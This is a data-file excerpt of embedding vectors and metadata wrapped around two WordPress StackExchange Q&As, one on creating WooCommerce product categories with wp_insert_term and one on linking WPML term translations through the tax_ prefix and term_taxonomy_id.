-0.0202178955078125, -0.035430908203125, 0.00032258033752441406, -0.056060791015625, -0.01788330078125, 0.01044464111328125, 0.0009388923645019531, 0.0151214599609375, -0.03582763671875, -0.0012760162353515625, 0.01061248779296875, -0.0160064697265625, -0.00321197509765625, 0.00360870361328125, 0.0330810546875, -0.033782958984375, -0.0648193359375, 0.0094451904296875, -0.03857421875, 0.00601959228515625, -0.041259765625, 0.0168914794921875, 0.0191192626953125, -0.0256500244140625, -0.038177490234375, -0.04345703125, 0.007175445556640625, -0.0280303955078125, 0.015411376953125, -0.0024051666259765625, -0.03009033203125, 0.0225830078125, 0.004467010498046875, -0.006809234619140625, 0.00855255126953125, 0.007534027099609375, 0.0379638671875, 0.026580810546875, 0.003856658935546875, 0.03900146484375, -0.044097900390625, 0.0428466796875, 0.01413726806640625, 0.052215576171875, -0.04052734375, -0.00395965576171875, 0.0013217926025390625, 0.00494384765625, -0.0190582275390625, -0.045318603515625, 0.0290374755859375, 0.01409149169921875, 0.01641845703125, -0.0023784637451171875, -0.0496826171875, -0.0013532638549804688, 0.0802001953125, 0.0728759765625, 0.033477783203125, -0.02496337890625, -0.060150146484375, -0.039337158203125, 0.026580810546875, -0.047454833984375, 0.001712799072265625, -0.10980224609375, -0.0219268798828125, 0.03619384765625, -0.039337158203125, 0.014068603515625, 0.02105712890625, -0.025146484375, 0.03314208984375, 0.02166748046875, -0.03765869140625, -0.028961181640625, -0.0267181396484375, 0.0738525390625, -0.036773681640625, -0.005565643310546875, 0.0046234130859375, 0.0241546630859375, 0.0237274169921875, -0.0176239013671875, -0.0111236572265625, 0.024810791015625, -0.049835205078125, -0.0009222030639648438, -0.00495147705078125, 0.016021728515625, -0.033966064453125, 0.002964019775390625, -0.007965087890625, -0.0028781890869140625, -0.0100555419921875, -0.01180267333984375, 0.005603790283203125, 0.0273590087890625, -0.00341033935546875, 0.08074951171875, 0.021270751953125, 0.011383056640625, -0.0201416015625, 0.053497314453125, 0.0198211669921875, -0.0267181396484375, 0.025146484375, -0.00904083251953125, 0.00008350610733032227, -0.0092010498046875, 0.0517578125, -0.06402587890625, 0.03314208984375, 0.008880615234375, 0.0360107421875, 0.039398193359375 ]
efd28efe3e96402b591a471ae172bc6ad3147967
Wordpress Stackexchange Q: Create WooCommerce Product Category Programmatically I am having trouble creating a woocommerce product category programmatically. I plan to automate the creation of product categories based on the creation of a new term in a specified custom taxonomy. Any help is greatly appreciated, Thank you. A: To create a taxonomy term programmatically you can use wp_insert_term function. <?php wp_insert_term( $term, $taxonomy, $args = array() ); ?> It has 3 params: $term (int|string) (required) The term to add or update. Default: None $taxonomy (string) (required) The taxonomy to which to add the term. Default: None $args (array|string) (optional) Change the values of the inserted term Default: None WooCommerce categories are stored as terms in product_cat taxonomy, so if you want to create some new category, you can use this code: wp_insert_term( 'My New Category', 'product_cat', array( 'description' => 'Description for category', // optional 'parent' => 0, // optional 'slug' => 'my-new-category' // optional ) );
Q: Create WooCommerce Product Category Programmatically I am having trouble creating a woocommerce product category programmatically. I plan to automate the creation of product categories based on the creation of a new term in a specified custom taxonomy. Any help is greatly appreciated, Thank you. A: To create a taxonomy term programmatically you can use wp_insert_term function. <?php wp_insert_term( $term, $taxonomy, $args = array() ); ?> It has 3 params: $term (int|string) (required) The term to add or update. Default: None $taxonomy (string) (required) The taxonomy to which to add the term. Default: None $args (array|string) (optional) Change the values of the inserted term Default: None WooCommerce categories are stored as terms in product_cat taxonomy, so if you want to create some new category, you can use this code: wp_insert_term( 'My New Category', 'product_cat', array( 'description' => 'Description for category', // optional 'parent' => 0, // optional 'slug' => 'my-new-category' // optional ) );
wordpress
{ "language": "en", "length": 154, "provenance": "stackexchange_00019.jsonl.gz:487791", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308851" }
[ 0.0074920654296875, -0.01021575927734375, -0.032867431640625, -0.066162109375, 0.00029921531677246094, -0.017486572265625, -0.013092041015625, 0.0283966064453125, -0.03704833984375, 0.005359649658203125, -0.02032470703125, -0.0196990966796875, -0.0168304443359375, -0.0198211669921875, 0.0078125, -0.059814453125, 0.0137939453125, -0.00696563720703125, 0.0032958984375, -0.0122222900390625, 0.00028204917907714844, 0.00934600830078125, 0.015655517578125, 0.0276947021484375, 0.01338958740234375, -0.025146484375, 0.076904296875, -0.0557861328125, 0.049591064453125, -0.0268402099609375, 0.0206756591796875, -0.00543212890625, 0.0114593505859375, -0.0288238525390625, 0.051513671875, 0.024932861328125, 0.032562255859375, -0.0086822509765625, 0.03155517578125, 0.0012178421020507812, 0.042877197265625, -0.0301055908203125, 0.00958251953125, 0.03350830078125, 0.0157318115234375, -0.033721923828125, 0.0115814208984375, -0.07391357421875, 0.0018138885498046875, -0.060272216796875, 0.0253448486328125, 0.043701171875, 0.04437255859375, -0.067626953125, -0.01788330078125, 0.01233673095703125, -0.0596923828125, 0.022918701171875, 0.040771484375, -0.016693115234375, -0.01042938232421875, -0.043548583984375, 0.036407470703125, 0.00469970703125, 0.0242156982421875, 0.00736236572265625, 0.0012788772583007812, 0.03936767578125, -0.0230865478515625, 0.0149383544921875, 0.007343292236328125, -0.0286102294921875, 0.00304412841796875, 0.02978515625, -0.01629638671875, -0.07373046875, 0.049407958984375, -0.018218994140625, -0.0011653900146484375, 0.035888671875, 0.0643310546875, 0.00850677490234375, 0.052886962890625, -0.043182373046875, 0.038055419921875, -0.01861572265625, 0.004940032958984375, -0.0240325927734375, -0.03216552734375, -0.05169677734375, -0.0195159912109375, -0.017578125, -0.06915283203125, 0.0147247314453125, -0.01033782958984375, -0.02337646484375, -0.0198516845703125, 0.016571044921875, -0.0036907196044921875, 0.04315185546875, 0.02264404296875, -0.057281494140625, 0.08087158203125, -0.04656982421875, 0.0011720657348632812, 0.0251007080078125, -0.0202789306640625, -0.049072265625, 0.0006475448608398438, 0.026824951171875, -0.0005335807800292969, -0.00475311279296875, -0.00047469139099121094, -0.031585693359375, -0.00852203369140625, 0.0555419921875, 0.0033702850341796875, 0.00690460205078125, 0.002910614013671875, 0.01338958740234375, -0.014129638671875, 0.01385498046875, 0.025299072265625, 0.0233154296875, 0.011627197265625, 0.0274505615234375, 0.0164642333984375, -0.049407958984375, -0.0015134811401367188, -0.0297698974609375, -0.049285888671875, 0.04510498046875, 0.09918212890625, 0.03814697265625, 0.022125244140625, 0.00870513916015625, 0.022216796875, 0.00148773193359375, 0.01432037353515625, -0.0123291015625, 0.05718994140625, 0.0236358642578125, 0.00875091552734375, 0.01348876953125, 0.0421142578125, -0.0003597736358642578, 0.0005612373352050781, 0.0200042724609375, 0.0352783203125, 0.0186004638671875, 0.0250701904296875, -0.0257568359375, 0.02716064453125, 0.0171356201171875, -0.002872467041015625, 0.02490234375, 0.037445068359375, -0.029144287109375, -0.0305938720703125, -0.029327392578125, 0.0196685791015625, -0.0011243820190429688, 0.01470184326171875, -0.00795745849609375, -0.0294036865234375, 0.00896453857421875, -0.045440673828125, -0.014251708984375, 0.0158233642578125, 0.0146026611328125, -0.004970550537109375, -0.00905609130859375, -0.0011682510375976562, -0.0171356201171875, -0.005878448486328125, -0.005615234375, -0.01513671875, -0.0227508544921875, 0.060333251953125, -0.0093994140625, -0.0360107421875, -0.0294036865234375, 0.0438232421875, -0.0139007568359375, -0.042694091796875, 0.0310821533203125, 0.022216796875, 0.0670166015625, -0.003604888916015625, 0.0202484130859375, 0.0180816650390625, 0.01248931884765625, -0.03631591796875, -0.00620269775390625, 0.032958984375, -0.0279693603515625, -0.01284027099609375, -0.021087646484375, 0.00595855712890625, -0.0024394989013671875, -0.0021724700927734375, 0.0179290771484375, 0.00594329833984375, 0.0233612060546875, -0.031280517578125, 0.0182037353515625, -0.00782012939453125, 0.040130615234375, -0.03515625, 0.01081085205078125, 0.0201263427734375, -0.030609130859375, 0.02130126953125, -0.07373046875, -0.0089874267578125, -0.0237274169921875, -0.02813720703125, 0.03570556640625, -0.01104736328125, 0.035430908203125, -0.00213623046875, -0.0203857421875, 0.0162811279296875, 0.0255889892578125, 0.04449462890625, 0.01546478271484375, -0.026031494140625, -0.0042266845703125, 0.04840087890625, 0.035247802734375, -0.04412841796875, -0.025299072265625, 0.048583984375, 0.0124053955078125, -0.0213623046875, 0.006557464599609375, 0.0014400482177734375, -0.0762939453125, -0.017730712890625, 0.05242919921875, 0.0282135009765625, 0.0195465087890625, -0.0237274169921875, -0.01142120361328125, 0.0875244140625, -0.01078033447265625, -0.0101470947265625, 0.009735107421875, -0.020263671875, 0.0306396484375, 0.031768798828125, 0.0440673828125, 0.01319122314453125, -0.006618499755859375, 0.004039764404296875, 0.053741455078125, -0.032928466796875, -0.02618408203125, 0.0015745162963867188, -0.0116729736328125, 0.00989532470703125, -0.0643310546875, -0.02008056640625, -0.024261474609375, 0.058013916015625, 0.004444122314453125, 0.039154052734375, 0.0204925537109375, -0.020538330078125, 0.0175323486328125, 0.01113128662109375, -0.058349609375, -0.001102447509765625, -0.0032596588134765625, -0.006038665771484375, -0.04229736328125, -0.060394287109375, 0.0274810791015625, 0.04638671875, -0.0240478515625, 0.004772186279296875, 0.08135986328125, 0.0236663818359375, -0.01393890380859375, -0.04400634765625, -0.07098388671875, -0.0126495361328125, 0.007476806640625, -0.03057861328125, -0.03228759765625, 0.01111602783203125, 0.0186614990234375, -0.042388916015625, 0.020904541015625, -0.029876708984375, -0.008453369140625, 0.0236358642578125, -0.00768280029296875, 0.034210205078125, -0.022552490234375, 0.01224517822265625, 0.038482666015625, -0.028350830078125, 0.025360107421875, 0.0147552490234375, 0.00319671630859375, 0.002025604248046875, 0.00560760498046875, -0.00899505615234375, 0.0159454345703125, -0.05322265625, 0.021331787109375, 0.030853271484375, 0.04962158203125, 0.009735107421875, -0.0284423828125, 0.029083251953125, 0.03607177734375, -0.01187896728515625, -0.049591064453125, 0.020050048828125, -0.024139404296875, 0.046417236328125, -0.0188140869140625, 0.0027828216552734375, -0.046722412109375, 0.007781982421875, 0.0121307373046875, -0.01447296142578125, -0.05267333984375, -0.02655029296875, -0.06365966796875, -0.03253173828125, 0.00823974609375, 0.0089263916015625, -0.01534271240234375, 0.00687408447265625, 0.047332763671875, -0.006481170654296875, -0.024322509765625, -0.00041031837463378906, 0.00048661231994628906, 0.005634307861328125, 0.00901031494140625, 0.0120849609375, -0.028533935546875, 0.0252227783203125, 0.00013637542724609375, 0.01280975341796875, 0.034423828125, -0.0167236328125, -0.0017194747924804688, -0.0138702392578125, 0.01947021484375, -0.000059485435485839844, -0.010009765625, 0.0214691162109375, 0.0236663818359375, -0.00939178466796875, -0.02984619140625, -0.020843505859375, 0.019866943359375, -0.0124359130859375, 0.0283203125, -0.029205322265625, -0.005252838134765625, 0.0200958251953125, 0.029144287109375, -0.0178070068359375, -0.01216888427734375, -0.0002460479736328125, -0.043914794921875, 0.007232666015625, -0.006084442138671875, -0.02685546875, 0.00909423828125, 0.03741455078125, -0.0271148681640625, 0.0009274482727050781, 0.0126953125, 0.01137542724609375, 0.006740570068359375, -0.0075836181640625, -0.0092926025390625, -0.05120849609375, 0.0221405029296875, -0.053955078125, -0.0006256103515625, -0.0180511474609375, -0.01116943359375, 0.0262298583984375, 0.07611083984375, 0.002368927001953125, -0.0230865478515625, -0.0086669921875, 0.0160980224609375, -0.04180908203125, -0.0262603759765625, -0.046600341796875, -0.004962921142578125, -0.037811279296875, 0.025115966796875, 0.017181396484375, -0.0302886962890625, -0.0216217041015625, -0.016204833984375, -0.046295166015625, -0.014434814453125, 0.034698486328125, -0.07440185546875, 0.0299835205078125, 0.0018568038940429688, 0.01495361328125, -0.0252685546875, -0.0172271728515625, -0.0328369140625, -0.03887939453125, 0.01194000244140625, -0.01715087890625, 0.0002803802490234375, -0.005489349365234375, 0.04058837890625, -0.020721435546875, 0.02337646484375, -0.010498046875, 0.02679443359375, 0.021881103515625, 0.052947998046875, -0.0113677978515625, -0.0052642822265625, 0.0194854736328125, -0.0362548828125, -0.020172119140625, -0.044342041015625, 0.0104827880859375, 0.05950927734375, -0.002956390380859375, 0.054412841796875, -0.0211639404296875, 0.0097198486328125, -0.0665283203125, -0.0294952392578125, -0.0140533447265625, -0.00579833984375, -0.01377105712890625, -0.0030078887939453125, -0.01532745361328125, -0.058563232421875, 0.03912353515625, -0.03448486328125, 0.0017919540405273438, 0.005115509033203125, 0.1015625, 0.01357269287109375, -0.00630950927734375, -0.029876708984375, 0.0374755859375, 0.0196533203125, 0.01296234130859375, 0.0092315673828125, -0.054473876953125, -0.00927734375, 0.044158935546875, -0.02435302734375, 0.01068115234375, 0.02069091796875, 0.0278167724609375, -0.00876617431640625, -0.01491546630859375, 0.00934600830078125, -0.00885009765625, -0.01824951171875, -0.011505126953125, -0.040435791015625, -0.00580596923828125, -0.0295562744140625, 0.053436279296875, 0.020355224609375, 0.0125579833984375, -0.0616455078125, -0.0260772705078125, 0.0214996337890625, -0.00478363037109375, -0.0221099853515625, 0.00009679794311523438, 0.0014963150024414062, -0.032867431640625, -0.05438232421875, -0.010223388671875, -0.019073486328125, -0.05938720703125, 0.01369476318359375, 0.0008139610290527344, -0.0221710205078125, -0.00835418701171875, 0.0037288665771484375, 0.007244110107421875, -0.04339599609375, -0.01233673095703125, -0.02197265625, -0.05767822265625, -0.00225830078125, 0.0024261474609375, 0.01214599609375, -0.04095458984375, 0.049530029296875, 0.0198211669921875, 0.005580902099609375, 0.0162811279296875, -0.10333251953125, 0.0018148422241210938, -0.0455322265625, 0.0006818771362304688, 0.00533294677734375, -0.00830841064453125, 0.0116729736328125, 0.051910400390625, -0.005878448486328125, 0.03509521484375, -0.0113067626953125, 0.0264434814453125, 0.050445556640625, 0.025604248046875, 0.0343017578125, -0.04437255859375, -0.0057830810546875, -0.0234375, -0.0151824951171875, -0.0260009765625, -0.016021728515625, 0.0115509033203125, 0.015838623046875, -0.0526123046875, -0.034454345703125, 0.03717041015625, -0.01439666748046875, -0.0061798095703125, -0.050567626953125, -0.05615234375, 0.01267242431640625, -0.0227813720703125, -0.01035308837890625, 0.0312347412109375, 0.01195526123046875, -0.0024471282958984375, -0.01145172119140625, -0.04754638671875, 0.007068634033203125, 0.023712158203125, 0.0287322998046875, -0.0243072509765625, -0.04400634765625, -0.06463623046875, -0.033477783203125, 0.005779266357421875, -0.006031036376953125, -0.0035381317138671875, -0.0257568359375, -0.0433349609375, 0.033843994140625, 0.01136016845703125, 0.07293701171875, -0.0258941650390625, -0.056884765625, 0.020294189453125, -0.01190185546875, 0.03643798828125, 0.00775909423828125, -0.018310546875, -0.028961181640625, -0.0272064208984375, -0.02606201171875, -0.01190185546875, -0.006832122802734375, -0.0187225341796875, 0.017486572265625, 0.017120361328125, 0.019195556640625, 0.00033354759216308594, -0.02239990234375, 0.01280975341796875, -0.0003962516784667969, -0.0025005340576171875, -0.018218994140625, 0.00652313232421875, -0.0158233642578125, 0.007366180419921875, 0.013427734375, -0.000423431396484375, -0.028656005859375, -0.01433563232421875, -0.03350830078125, -0.028594970703125, -0.065185546875, 0.00229644775390625, 0.01224517822265625, -0.0267333984375, 0.0615234375, 0.06573486328125, 0.0133056640625, 0.0301971435546875, -0.0218505859375, 0.0009355545043945312, -0.0079803466796875, -0.00244903564453125, -0.024078369140625, -0.00901031494140625, 0.0498046875, -0.05780029296875, 0.0151824951171875, 0.02703857421875, 0.0031681060791015625, 0.052001953125, -0.050079345703125, 0.05218505859375, 0.04522705078125, -0.03472900390625, 0.043670654296875, 0.0328369140625, -0.0199127197265625, 0.022918701171875, -0.021942138671875, 0.00701141357421875, 0.03326416015625, 0.0226287841796875, -0.0099029541015625, -0.01280975341796875, 0.044036865234375, 0.0021228790283203125, -0.0163421630859375, 0.03143310546875, -0.04132080078125, -0.0196380615234375, 0.061279296875, 0.048736572265625, -0.0831298828125, -0.0012903213500976562, 0.02362060546875, -0.0156402587890625, -0.0265045166015625, 0.030059814453125, -0.006561279296875, -0.0189971923828125, -0.003185272216796875, -0.0198822021484375, -0.0116729736328125, 0.0010004043579101562, -0.0028095245361328125, 0.0027408599853515625, 0.053985595703125, 0.011505126953125, 0.01313018798828125, -0.048583984375, -0.032684326171875, 0.0198822021484375, 0.0088653564453125, -0.029754638671875, -0.00560760498046875, 0.036834716796875, 0.0030040740966796875, -0.0280609130859375, 0.0966796875, -0.0279083251953125, 0.04241943359375, 0.04022216796875, -0.0031108856201171875, 0.0176849365234375, 0.0408935546875, 0.00936126708984375, 0.009918212890625, 0.0013895034790039062, -0.0201568603515625, -0.0019083023071289062, 0.016937255859375, 0.03485107421875, 0.009796142578125, -0.0750732421875, -0.00012421607971191406, -0.07257080078125, 0.055328369140625, -0.006816864013671875, -0.004192352294921875, 0.0229339599609375, -0.024139404296875, -0.0120849609375, 0.03338623046875, 0.0297393798828125, -0.0011987686157226562, -0.0269775390625, 0.01282501220703125, -0.03143310546875, 0.0086822509765625, -0.005001068115234375, 0.0218353271484375, 0.004344940185546875, -0.023162841796875, -0.071044921875, 0.04791259765625, -0.0212860107421875, 0.032440185546875, -0.005054473876953125, 0.0094757080078125, -0.003078460693359375, -0.01189422607421875, -0.044891357421875, 0.03515625, 0.049896240234375, 0.040008544921875, -0.034088134765625, -0.025238037109375, 0.01523590087890625, 0.044586181640625, 0.0633544921875, -0.00556182861328125, -0.00830841064453125, -0.002918243408203125, 0.06707763671875, 0.01019287109375, -0.0228271484375, 0.0298004150390625, -0.0029926300048828125, -0.038055419921875, 0.040374755859375, 0.0016126632690429688, 0.0244598388671875, 0.006572723388671875, 0.0081939697265625, 0.0063629150390625, 0.0023250579833984375, 0.00403594970703125, -0.0052490234375, 0.01052093505859375, -0.002716064453125, -0.01183319091796875, -0.0008740425109863281, -0.0093994140625, 0.011322021484375, 0.045013427734375, 0.005001068115234375, 0.018157958984375, 0.035797119140625, -0.0364990234375, 0.0526123046875, -0.0243988037109375, 0.045501708984375, 0.050567626953125, 0.0211944580078125, 0.09881591796875, 0.0014619827270507812, 0.034149169921875, 0.018280029296875, -0.026611328125, 0.047393798828125, -0.007049560546875, 0.010498046875, -0.038238525390625, 0.040771484375, 0.0254364013671875, 0.0374755859375, -0.052215576171875, -0.032196044921875, 0.00859832763671875, 0.008209228515625, 0.01165771484375, 0.00504302978515625, 0.033538818359375, 0.002796173095703125, 0.01427459716796875, -0.068359375, 0.01215362548828125, 0.0224151611328125, 0.0282135009765625, 0.00010323524475097656, -0.003231048583984375, -0.050140380859375, -0.0229949951171875, -0.046783447265625, 0.01053619384765625, 0.0012292861938476562, 0.0894775390625, 0.0323486328125, 0.08251953125, -0.0732421875, -0.07513427734375, 0.0042877197265625, 0.0180206298828125, 0.0304718017578125, -0.022430419921875, 0.0146331787109375, -0.0053863525390625, 0.022064208984375, 0.005840301513671875, -0.027740478515625, 0.0423583984375, 0.0312042236328125, 0.04852294921875, 0.01983642578125, -0.036102294921875, 0.03179931640625, -0.015960693359375, -0.0321044921875, -0.03033447265625, 0.0450439453125, 0.0218658447265625, 0.0340576171875, 0.0019350051879882812, 0.061126708984375, 0.01800537109375, -0.039306640625, 0.0184173583984375, -0.00933837890625, -0.057159423828125, 0.05255126953125, -0.0300750732421875, 0.093017578125, -0.0239715576171875, -0.09625244140625, -0.0088653564453125, -0.04095458984375, -0.0251922607421875, 0.01947021484375, 0.0219573974609375, -0.0390625, 0.06292724609375, 0.0140533447265625, -0.0081329345703125, 0.03350830078125, -0.017181396484375, -0.0030460357666015625, -0.04876708984375, 0.0193634033203125, -0.0183868408203125, -0.042388916015625, 0.0026226043701171875, -0.0289306640625, 0.0133056640625, 0.03765869140625, 0.0692138671875, -0.0014209747314453125, 0.0212860107421875, -0.02630615234375, 0.024169921875, -0.064453125, -0.034454345703125, 0.05523681640625, -0.01251983642578125, -0.022369384765625, 0.00342559814453125, 0.006542205810546875, -0.0262298583984375, 0.0653076171875, -0.0280609130859375, -0.0296630859375, -0.023956298828125, 0.041168212890625, -0.00750732421875, 0.05517578125, -0.0214691162109375, -0.033538818359375, -0.075439453125, -0.03863525390625, 0.0265045166015625, 0.0083770751953125, 0.0080413818359375, 0.00830841064453125, -0.00873565673828125, -0.0155029296875, 0.0164031982421875, -0.0003879070281982422, 0.00872039794921875, 0.0455322265625, -0.0276947021484375, 0.0085601806640625, -0.0007700920104980469, -0.0240631103515625, 0.01029205322265625, -0.00495147705078125, 0.014251708984375, -0.00010788440704345703, -0.064208984375, 0.009063720703125, 0.054534912109375, 0.030975341796875, -0.045684814453125, 0.022430419921875, 0.04443359375, -0.03216552734375, 0.034210205078125, -0.026153564453125, -0.042724609375, -0.035186767578125, 0.01305389404296875, 0.0100250244140625, 0.01528167724609375, -0.030731201171875, -0.047637939453125, 0.004589080810546875, 0.0269317626953125, 0.003543853759765625, -0.0260772705078125, 0.0007700920104980469, -0.00537109375, 0.04217529296875, -0.0061492919921875, -0.02606201171875, 0.0167694091796875, 0.00991058349609375, -0.0286865234375, 0.01064300537109375, -0.03607177734375, -0.033477783203125, -0.02166748046875, 0.0193939208984375, 0.033660888671875, -0.0250396728515625, -0.03839111328125, 0.0242767333984375, 0.0170745849609375, 0.07049560546875, 0.023529052734375, -0.0177001953125, 0.017547607421875, 0.007633209228515625, -0.042083740234375, -0.057373046875, 0.021575927734375, -0.06671142578125, -0.005855560302734375, -0.0005235671997070312, 0.02337646484375, 0.051025390625, -0.01248931884765625, -0.057403564453125, -0.012420654296875, 0.0012636184692382812, -0.03216552734375, -0.020294189453125, -0.006656646728515625, -0.043792724609375, 0.036041259765625, -0.0126495361328125, -0.001445770263671875, 0.010955810546875, 0.058441162109375, 0.000560760498046875, 0.00945281982421875, 0.0288848876953125, -0.01641845703125, -0.01702880859375, -0.005031585693359375, -0.0016489028930664062, -0.008636474609375, 0.0132904052734375, -0.02642822265625, 0.0252838134765625, 0.0263671875, -0.0290679931640625, -0.0246429443359375, -0.006313323974609375, -0.0095977783203125, 0.00530242919921875, -0.062164306640625, -0.01611328125, -0.0537109375, 0.0308380126953125, -0.0234527587890625, 0.0164794921875, 0.01363372802734375, -0.046112060546875, -0.017913818359375, 0.00412750244140625, 0.0243988037109375, 0.01214599609375, -0.0484619140625, 0.027557373046875, 0.0281982421875, 0.01166534423828125, 0.01165008544921875, -0.00586700439453125, -0.0235137939453125, -0.00511932373046875, 0.005214691162109375, 0.002407073974609375, -0.060943603515625, 0.01241302490234375, -0.0211029052734375, -0.0017251968383789062, -0.044036865234375, -0.0074615478515625, 0.01087188720703125, -0.051971435546875, -0.0215301513671875, 0.004817962646484375, 0.026641845703125, -0.0245819091796875, 0.00998687744140625, 0.01053619384765625, 0.015838623046875, 0.006923675537109375, 0.01117706298828125, -0.0191192626953125, 0.036651611328125, -0.004070281982421875, 0.0237884521484375, -0.01398468017578125, 0.08734130859375, 0.054168701171875, 0.0838623046875, -0.000035822391510009766, -0.052581787109375, -0.0269775390625, 0.05145263671875, -0.0182647705078125, -0.009307861328125, -0.01064300537109375, -0.03790283203125, 0.0032291412353515625, -0.01922607421875, -0.017974853515625, -0.007114410400390625, -0.0055999755859375, -0.009552001953125, -0.0280609130859375, 0.006927490234375 ]
f52636cea060ce2bb68e5aee1c7566422d0b39ef
Wordpress Stackexchange Q: WPML Translating a term/taxonomy programmatically I have all terms in English and I am creating/duplicating the same ones for German language by using foreach on english terms and this way i create all terms for German language. The problem is when i need to assign an German term to its English version. I tried the trick with TRID like this: $trid = $sitepress->get_element_trid($englist_term_id, "taxonomy_name"); $sitepress->set_element_language_details($new_term_id, "taxonomy_name", $trid, $lang_code, $sitepress->get_default_language()); The problem is that $trid does not take any value (The first line of the above code) Probably there is some other way to accomplish this! A: Ok I found the solution. Actually taxonomy name on icl_translation table is stored with prefix called "tax_" which means taxonomy. The above code would work like this: $trid = $sitepress->get_element_trid($englist_term_id, "tax_taxonomy_name"); $sitepress->set_element_language_details($new_term_id, "tax_taxonomy_name", $trid, $lang_code, $sitepress->get_default_language()); The difference is tax_ prefix. Cheers!
Q: WPML Translating a term/taxonomy programmatically I have all terms in English and I am creating/duplicating the same ones for German language by using foreach on english terms and this way i create all terms for German language. The problem is when i need to assign an German term to its English version. I tried the trick with TRID like this: $trid = $sitepress->get_element_trid($englist_term_id, "taxonomy_name"); $sitepress->set_element_language_details($new_term_id, "taxonomy_name", $trid, $lang_code, $sitepress->get_default_language()); The problem is that $trid does not take any value (The first line of the above code) Probably there is some other way to accomplish this! A: Ok I found the solution. Actually taxonomy name on icl_translation table is stored with prefix called "tax_" which means taxonomy. The above code would work like this: $trid = $sitepress->get_element_trid($englist_term_id, "tax_taxonomy_name"); $sitepress->set_element_language_details($new_term_id, "tax_taxonomy_name", $trid, $lang_code, $sitepress->get_default_language()); The difference is tax_ prefix. Cheers! A: @agon-xheladini is totally correct with his answer. But this did not work for me as the WPML API wants to have the term_taxonomy_id instead: element_id(bool) Use term_taxonomy_id for taxonomies, post_id for posts So, you should always ensure that you do not use the term_id: $originalElementId = get_term($original_term_id)->term_taxonomy_id; $trid = $sitepress->get_element_trid($originalElementId, "tax_" . $taxonomy); $sitepress->set_element_language_details( get_term($new_term_id)->term_taxonomy_id, "tax_" . $taxonomy, $trid, $lang_code, $sitepress->get_default_language() ); Why? term_taxonomy_id and term_id are stored in different WordPress database tables. For usual installations, they have both the same ID for the same term (auto-increment). But I had some installations where the auto increment was different (perhaps a tool "cleared" entries?).
wordpress
{ "language": "en", "length": 243, "provenance": "stackexchange_00019.jsonl.gz:487860", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309043" }
[ -0.010772705078125, -0.023162841796875, -0.0026416778564453125, -0.0035037994384765625, -0.01331329345703125, -0.009033203125, 0.0152587890625, -0.00928497314453125, -0.01297760009765625, 0.02117919921875, 0.02783203125, -0.024505615234375, 0.0115203857421875, -0.0462646484375, -0.00786590576171875, -0.0229034423828125, 0.01180267333984375, 0.01412200927734375, 0.0232696533203125, 0.00045490264892578125, -0.01486968994140625, 0.007312774658203125, 0.00849151611328125, -0.071533203125, 0.0281982421875, -0.06768798828125, 0.013153076171875, -0.051483154296875, 0.0181427001953125, -0.019683837890625, 0.023406982421875, 0.03228759765625, 0.0206146240234375, -0.01178741455078125, -0.005828857421875, -0.0007076263427734375, 0.0167083740234375, -0.0208892822265625, -0.023223876953125, 0.0419921875, 0.035247802734375, -0.025787353515625, -0.036865234375, 0.032257080078125, -0.036773681640625, -0.039642333984375, 0.0265655517578125, -0.00295257568359375, -0.0181121826171875, 0.057098388671875, 0.037628173828125, 0.0198516845703125, 0.030670166015625, 0.031768798828125, 0.01885986328125, 0.01001739501953125, -0.007381439208984375, -0.00972747802734375, 0.0013103485107421875, 0.0227203369140625, 0.005512237548828125, 0.0236968994140625, 0.0022449493408203125, -0.00839996337890625, 0.0003609657287597656, 0.0196380615234375, 0.047607421875, 0.0256195068359375, -0.0037841796875, -0.041473388671875, -0.0181732177734375, 0.007015228271484375, 0.00922393798828125, 0.003978729248046875, 0.007320404052734375, 0.007701873779296875, -0.00032329559326171875, 0.0019321441650390625, 0.0163726806640625, 0.010101318359375, 0.052459716796875, -0.0203857421875, -0.00937652587890625, 0.02117919921875, 0.00896453857421875, 0.034881591796875, 0.00823211669921875, -0.035797119140625, -0.04290771484375, -0.057159423828125, -0.0245208740234375, -0.024871826171875, -0.084228515625, 0.0006661415100097656, 0.005435943603515625, -0.05682373046875, -0.0504150390625, 0.03125, -0.040069580078125, 0.01194000244140625, -0.042022705078125, -0.00302886962890625, 0.0135040283203125, -0.04150390625, 0.01983642578125, -0.0131683349609375, -0.0362548828125, 0.0098724365234375, 0.07305908203125, 0.043670654296875, -0.005046844482421875, 0.05712890625, 0.002574920654296875, -0.0298614501953125, -0.01033782958984375, 0.0016918182373046875, -0.0164337158203125, 0.01372528076171875, 0.00043010711669921875, -0.01233673095703125, -0.00559234619140625, 0.023681640625, 0.0006651878356933594, -0.0247039794921875, 0.00400543212890625, -0.0167388916015625, -0.0149688720703125, -0.01439666748046875, -0.021331787109375, -0.0047607421875, -0.0487060546875, 0.018035888671875, 0.0738525390625, 0.029388427734375, 0.014404296875, -0.01708984375, -0.0132293701171875, 0.033355712890625, 0.0023784637451171875, -0.0025920867919921875, -0.01221466064453125, 0.0091552734375, 0.053375244140625, 0.0055694580078125, 0.0003170967102050781, -0.00144195556640625, 0.019256591796875, 0.019744873046875, -0.0024890899658203125, -0.0103302001953125, -0.021820068359375, 0.0187530517578125, 0.05743408203125, -0.01357269287109375, -0.07891845703125, -0.002513885498046875, -0.0321044921875, -0.004222869873046875, -0.049224853515625, -0.0372314453125, -0.040802001953125, -0.038177490234375, -0.048675537109375, -0.05914306640625, -0.073486328125, 0.057464599609375, 0.0296173095703125, 0.0067596435546875, 0.007053375244140625, -0.002948760986328125, -0.0002608299255371094, 0.01000213623046875, -0.0310516357421875, 0.0095062255859375, 0.01629638671875, -0.0003533363342285156, -0.05975341796875, 0.0139312744140625, 0.048004150390625, -0.0210113525390625, -0.014984130859375, -0.034210205078125, 0.05517578125, 0.0020236968994140625, -0.01441192626953125, -0.00406646728515625, 0.00396728515625, 0.042236328125, 0.0355224609375, 0.01690673828125, -0.0176849365234375, -0.0178985595703125, -0.05792236328125, 0.0222015380859375, 0.00881195068359375, 0.0002579689025878906, -0.0254669189453125, 0.006153106689453125, -0.00673675537109375, -0.0249786376953125, 0.0121917724609375, -0.0069122314453125, -0.0011463165283203125, 0.009307861328125, -0.033935546875, -0.0012187957763671875, -0.0208587646484375, 0.0230865478515625, 0.005157470703125, 0.030120849609375, 0.00539398193359375, -0.0003948211669921875, -0.032318115234375, 0.008453369140625, 0.0020580291748046875, 0.0238800048828125, -0.03240966796875, 0.045989990234375, 0.036895751953125, 0.0156402587890625, 0.048583984375, 